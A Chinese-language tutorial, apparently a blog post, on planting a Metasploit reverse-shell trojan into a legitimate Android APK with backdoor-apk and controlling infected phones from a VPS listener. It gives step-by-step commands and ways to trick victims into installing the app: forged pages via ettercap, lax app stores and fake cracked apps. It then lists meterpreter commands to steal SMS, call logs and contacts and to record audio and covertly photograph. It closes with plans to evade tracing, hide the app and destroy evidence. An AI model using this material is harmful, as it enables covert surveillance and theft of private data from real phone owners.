前期准备
- 如果使用的是kali linux则跳过该步骤
- 如果只是在局域网内玩玩可以用虚拟机执行前两步
划线部分沙丁鱼退避
msf框架
- 如果硬盘空间富余,推荐安装Kali工具集Katoolin,其中包含msf框架及其相应的环境。安装教程参考Ubuntu安装Kali工具集:Katoolin
- 如果硬盘空间捉急,直接下载msf框架的安装脚本和最小依赖,安装教程参考
Centos6.5安装Metasploit记录 - 安装完后在终端运行
msfconsole
测试当然最好是调用一下handler exploit来测试监听功能
反编译环境
- JAVA
- dex2jar
- apktool
可以直接执行后面的制作步骤,在反编译时提示确实缺失哪些组件直接装就行了简单方便
VPS
- 一般而言,自家或者校园网是没有公网IP的,即外网环境下木马返回的数据传输不到本机。这时需要使用具有公网IP的VPS(如TX云等)来执行监听的操作
推荐国外没备案不用身份验证的,玩脱了好跑路
backdoor-apk
- backdoor-apk是一个将木马程序的生成与植入过程打包简化的一个脚本
- github: backdoor-apk
APK
- 被植入的文件,各大安卓应用市场
有售下载
制作过程
- 使用
ifconfig
命令查看本机IP
- 切换到backdoor-apk目录,执行
sudo chmod +x ./backdoor-apk.sh //给脚本赋予权限
./backdoor-apk.sh 目标apk //如./backdoor-apk.sh 2048.apk
- 接下来会显示反弹方式的选择,选3
因为其他我没试过
-
跟着是目标IP的设置,这里输入之前查看的本机IP
-
然后是监听端口的设置,非常用端口就行,如8888、6666等随机四位数
当然可以设置80、443、22之类的作死
-
最后是应用程序安装时申请的权限,选2以获取足够的权限来执行木马功能
然而注入某些毒瘤应用选1都没问题
- 按下回车开始制作,待程序执行完毕后,生成的APK在
backdoor-apk/original/dist
目录下
诱导安装
- 使用ettercap+伪造界面来诱导
小白用户下载 - 上架审核不严格的软件商店
- 植入比较热门的APK
XX破解版
监控端的配置
- 在他人下载被感染的APK并打开时,会向目标IP持续发送数据包。需要在监控端配置msf框架并打开相应的端口,接收数据并控制目标手机
- 首先运行
msfconsole
启动msf框架,启动完成后终端前缀变为msf>
- 依次执行
use exploit/multi/handler //选定攻击模块
set payload android/meterpreter/reverse_tcp //选定攻击载荷,该项与制作时选定的载荷必须一致
-
使用
options
来查看攻击载荷的设置项
在这个载荷中,LHOST与LPORT的值需要设置为制作过程中预置的值差不多每个载荷都这样 -
修改载荷值的操作为
set 项目名称 项目值
,如
set LHOST 8.8.8.8
set LPORT 44
设置完后再次执行 options
来确认载荷是否配置正确
- 配置完后,执行
exploit -j -z
启动模块等鱼上钩
控制
- 当受害者打开被感染的APK时,连接建立,此时msf会提示会话开启
-
执行
sessions -i 1
切换到第一个会话,此时可以随心所欲猥琐欲为,如:sysinfo
获取系统信息dump_sms
获取短信记录dump_calllog
获取通话记录dump_contacts
获取通讯录record_mic
手机录音webcam_snap
偷拍当然还有人民群众喜闻乐见的shell
get shell更多精彩参见help
思考
感染目标
- 木马所实现的功能基于在安装时赋予的权限,即使在root环境下也无法获得root shell,由于沙箱机制,在shell中所能做到的也极为有限(甚至无法访问应用文件夹外的目录)。因此,能否通过升级安装的方式替换系统应用获取到更高的权限?
权限管理
- 这是国内热门应用申请的权限
google play版本,非国内毒瘤
-
而这是被植入木马的APK申请的权限
- 电话、短信、通讯录、摄像头、麦克风,不否认软件“能力越大,权力越大”,但木马能做到的事情,这些软件在权限这一层面上也可以做到。作为软件的使用者,在无法接触源码的情况下我们无法判定“权力”是否被滥用
-
作为用户我们可以对软件的权限进行限制,但这些只是大的方面
而单单一个“短信”就可以分为“发送、接收和读取”,在网络方面没有权限控制,查看详情时却发现它在为所欲为
在禁用应用权限后有可能无事发生,但也有可能被应用“友好地”警告甚至直接闪退,安卓对于权限的控制太宽泛了。或许在上图每个项目后面加个开关能有所改善?仅限开发者模式 -
存在连接不稳定的情况,监听机为TX云时链接稳定不掉线,而使用BWH时稳定30s掉线且功能受限。推测原因可能是
BWH配置不足,512M内存不足以负荷监听模块(free命令查看内存剩余100+M)- 使用最小安装的方式,缺少相应组件(msf运行未报错)
msf与数据库未连接(TX云亦未连接)
改进
- 使用ssh隧道,用BWH的VPS作为跳板,再传入TX云反追踪。参考
SSH隧道简洁介绍以及SSH隧道实际应用 - 编写msf脚本自动化处理每个会话,获取资料后及时断线并隐藏安装应用
销毁证据 - 改写木马生成的脚本,将行为变为发送包含资料的邮件至BWH的VPS
文章评论